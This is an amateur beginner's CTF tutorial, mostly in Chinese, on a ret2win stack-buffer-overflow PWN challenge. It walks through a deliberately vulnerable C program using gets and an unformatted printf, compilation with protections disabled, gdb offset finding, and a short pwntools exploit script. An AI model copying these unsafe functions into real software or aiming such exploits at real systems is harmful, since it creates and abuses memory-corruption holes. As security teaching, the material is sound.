这个文章的内容非常的基础, 大佬勿喷
内容比较细, 希望能给首次接触PWN的人带来帮助
什么是PWN?
PWN challenges are a type of CTF challenge that require you to exploit a binary typically running on a remote server. This can be done by exploiting a vulnerability in the binary, or by using a vulnerability in the binary to gain access to the system.
Often, PWN challenges will require you to gain access to a remote server, and then exploit the binary on that server. This is done by connecting to the server using a tool such as netcat, and then sending commands to the server.
Typically, you will be given an IP address and a port number to connect to.
需要你利用远程服务器上运行的二进制文件, 利用该二进制文件的漏洞访问系统或执行命令.
PWN题目一般会给你远程服务器的地址, 让你用nc, telnet等工具连上后发送输入
题目
vuln.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void win()
{
system("/bin/cat /Flag.txt"); // 需要提前准备好/Flag.txt或自行修改路径
}
void vuln()
{
char buffer[64];
printf("Enter your input: ");
gets(buffer);
printf(buffer);
printf("\n");
}
int main()
{
vuln();
return 0;
}
编译:
gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie
是的, 就这么简单, 但是......刚开始整起来很难
逆向
本来想直接写调试的, 好像还是写一下逆向比较好?
我们最后应该想办法溢出掉然后ret到这个函数 (这里有个大坑)
记住lea这个指令在函数中的偏移 (我这里为+5)
还要顺带看一眼vuln, 记住最后retn的地址 (我这里为0x4011F8)
调试
使用命令启动调试
gdb vuln
显示出像这样的页面就是pwndbg也成功加载了
一些你可能用得到的命令
断点: b *地址(必须带0x)
运行: run
断下后继续运行: go
接下来在vuln的ret处下断点
正常输入
输入1145141919810, 无事发生
正常的寄存器:
正常的栈:
非正常输入
使用cyclic, 生成一个测试文本
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
可以发现, 溢出啦! RSP, RBP寄存器已被替换, 不过我们需要改的是RSP
为更直观起见, 减少输入数量到80字符
这时候你会发现, 0x616161616161616a转字符串不就是jaaaaaaa? 那只要把jaaaaaaa改成地址不就行了?
也就是说, 实际上Padding是72字符, 在此之后我们加上地址即可实现ret2任意addr
写Exp
Tips: 需要python和pwntools
from pwn import *
Binary = ELF('./vuln')
Proc = process(Binary)
# Proc = remote('example.com', 2156)
Payload = b'A' * 72 + p64(Binary.symbols['win'] + 8)
Proc.sendline(Payload)
Proc.interactive()
这里要注意, 为什么要+8(到lea指令处)而不是直接跳转到函数头呢? emm我不知道, 反正会出现一些奇奇怪怪的错误?
现在运行一下, 是不是跑出了flag?
结束语
怎么说呢...我也是个新手, 凑活看吧?
(顺带说, 我自己写的CTF里也有这样的PWN)